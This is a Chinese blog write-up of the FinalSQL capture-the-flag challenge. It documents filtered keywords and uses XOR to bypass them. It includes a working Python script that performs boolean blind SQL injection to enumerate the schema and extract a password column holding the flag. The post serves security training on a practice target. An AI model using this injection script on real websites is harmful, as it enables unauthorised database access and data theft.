首页 > 数据库 >[极客大挑战 2019]FinalSQL

[极客大挑战 2019]FinalSQL

时间:2023-06-19 20:32:29浏览次数:54  
标签:极客 FinalSQL min +-----+ mid num 2019 F1naI1y id


https://buuoj.cn/challenges#[%E6%9E%81%E5%AE%A2%E5%A4%A7%E6%8C%91%E6%88%98%202019]FinalSQL

[极客大挑战 2019]FinalSQL_mysql


[极客大挑战 2019]FinalSQL_mysql_02


测起来有点感觉过滤很奇怪

case when
mid
union
if
'
and
-
!
|
...

逻辑运算符都测起来有点奇怪,同或因为过滤了!没法用,所以用异或

mysql> select 0^1;
+-----+
| 0^1 |
+-----+
|   1 |
+-----+
1 row in set (0.00 sec)

mysql> select 0^0;
+-----+
| 0^0 |
+-----+
|   0 |
+-----+
1 row in set (0.00 sec)

mysql>

[极客大挑战 2019]FinalSQL_逻辑运算符_03


[极客大挑战 2019]FinalSQL_php_04


盲注,直接写脚本

import requests
import time

myurl = 'http://0f4b65c0-9dc2-4960-af43-9c08c995b8dd.node4.buuoj.cn:81/'
flag = ''
for pos in range(500):
    min_num = 32
    max_num = 126
    mid_num = (min_num + max_num) // 2
    while (min_num < max_num):
    	# payload = 'search.php?id=0^(ord(substr(database(),{},1))>{})'.format(pos, mid_num)
    	# payload = 'search.php?id=0^(ord(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())),{},1))>{})'.format(pos, mid_num)
    	# payload = "search.php?id=0^(ord(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name='F1naI1y')),{},1))>{})".format(pos, mid_num)
    	payload = "search.php?id=0^(ord(substr((select(group_concat(password))from(geek.F1naI1y)),{},1))>{})".format(pos, mid_num)
    	attack_url = myurl + payload
    	resp = requests.get(url=attack_url)
    	time.sleep(0.5)
    	if 'NO! Not this! Click others' in resp.text:
    		min_num = mid_num + 1
    	else:
    		max_num = mid_num
    	mid_num = ((min_num + max_num) // 2)
    flag += chr(min_num)
    print(flag)

注入得到的信息

database: geek
table in geek: F1naI1y,Flaaaaag
column in Flaaaaag: id,fl4gawsl
column in F1naI1y: id,username,password

flag在F1naI1ypassword字段中(内容比较长,等待时间需要久一点,因为BUU发包太快会直接ban掉,就加个time.sleep())

[极客大挑战 2019]FinalSQL_逻辑运算符_05


标签:极客,FinalSQL,min,+-----+,mid,num,2019,F1naI1y,id
From: https://blog.51cto.com/u_16159500/6517217

相关文章

  • [Ynoi2019 模拟赛] Yuno loves sqrt technology I
    题目Link分块,首先预处理所有整块之间的答案,这部分用类似莫队二离的手法可以改成\(O(n)\)次插入和\(O(n\sqrt{n})\)查询,然后根号平衡一手做到\(O(n\sqrt{n})\);空间自然也是能线性的。当然更直白的说法是,直接预处理\(f(i,j)\)表示前\(i\)块中\(>j\)的元素个数。然后考......
  • BMZCTF:insomniteaser_2019_l33t_hoster
    http://bmzclub.cn/challenges#insomniteaser_2019_l33t_hoster文件上传,/?source回显源码<?phpif(isset($_GET["source"]))die(highlight_file(__FILE__));session_start();if(!isset($_SESSION["home"])){$_SESSION["home"]=......
  • BUUCTF:[HDCTF2019]你能发现什么蛛丝马迹吗
    https://buuoj.cn/challenges#[HDCTF2019]%E4%BD%A0%E8%83%BD%E5%8F%91%E7%8E%B0%E4%BB%80%E4%B9%88%E8%9B%9B%E4%B8%9D%E9%A9%AC%E8%BF%B9%E5%90%97memory.imgVolatility分析查看文件的Profilevolatility-fmemory.imgimageinfo猜测为:Win2003SP1x86查看进程volatility-fmemor......
  • BUUCTF:[GXYCTF2019]禁止套娃
    https://buuoj.cn/challenges#[GXYCTF2019]%E7%A6%81%E6%AD%A2%E5%A5%97%E5%A8%83.git泄露,使用GitHackindex.php<?phpinclude"flag.php";echo"flag在哪里呢?<br>";if(isset($_GET['exp'])){if(!preg_match('/data:\/\/|fil......
  • BUUCTF:[极客大挑战 2019]Upload
    题目地址:https://buuoj.cn/challenges#[%E6%9E%81%E5%AE%A2%E5%A4%A7%E6%8C%91%E6%88%98%202019]UploadPOST/upload_file.phpHTTP/1.1Host:b40c1d53-d3d6-43be-9f6d-67c767946f8c.node3.buuoj.cnUser-Agent:Mozilla/5.0(WindowsNT10.0;Win64;x64;rv:82.0)Gecko/2010......
  • BUUCTF:[ASIS 2019]Unicorn shop
    https://buuoj.cn/challenges#[ASIS%202019]Unicorn%20shop功能是一个购物商店,输入商品ID和价钱进行点击购买。源代码中提醒<metacharset="utf-8">很重要html使用的是UTF-8编码id和price都为空点击购买,返回报错及原因从中可以发现源代码是如何处理price的使用的是unicodedata......
  • BUUCTF:[BSidesSF2019]table-tennis
    https://buuoj.cn/challenges#[BSidesSF2019]table-tennisattachment.pcapng在ICMP包的尾部发现html代码,其中有打印base64信息拼接起来就是Q1RGe0p1c3RBUzBuZ0FiMHV0UDFuZ1Awbmd9>>>importbase64>>>base64.b64decode('Q1RGe0p1c3RBUzBuZ0FiMHV0UDFuZ1Awbmd9')b&......
  • BUUCTF:[GUET-CTF2019]soul sipse
    https://buuoj.cn/challenges#[GUET-CTF2019]soul%20sipseout.wav可用Steghide无密码分离出download.txtdownload.txthttps://share.weiyun.com/5wVTIN3下载得到GUET.png,修改为正确的PNG文件头保存得到正常的图片。如下\u0034\u0030\u0037\u0030\u000d\u000a\u0031\u0032\u0033\u0......
  • BUUCTF:[BSidesSF2019]diskimage
    https://buuoj.cn/challenges#[BSidesSF2019]diskimageattachment.pngzsteg-aattachment.png发现磁盘数据zsteg-e'b8,rgb,lsb,xy'attachment.png>data.dat分离出FAT格式的数据使用TestDisk对文件进行分析testdiskdata.dat[Proceed]回车[None]回车[Boot]回车[RebuildsBS]......
  • BUUCTF:[SWPU2019]伟大的侦探
    题目地址:https://buuoj.cn/challenges#[SWPU2019]%E4%BC%9F%E5%A4%A7%E7%9A%84%E4%BE%A6%E6%8E%A2密码.txt可解压,misc文件夹需要解压密码,将密码.txt使用010Editor打开,使用EBCDIC编码即可发现密码明文解压,misc文件夹内容如下:福尔摩斯小人密码对照得到:iloveholmesandwllmflag{ilov......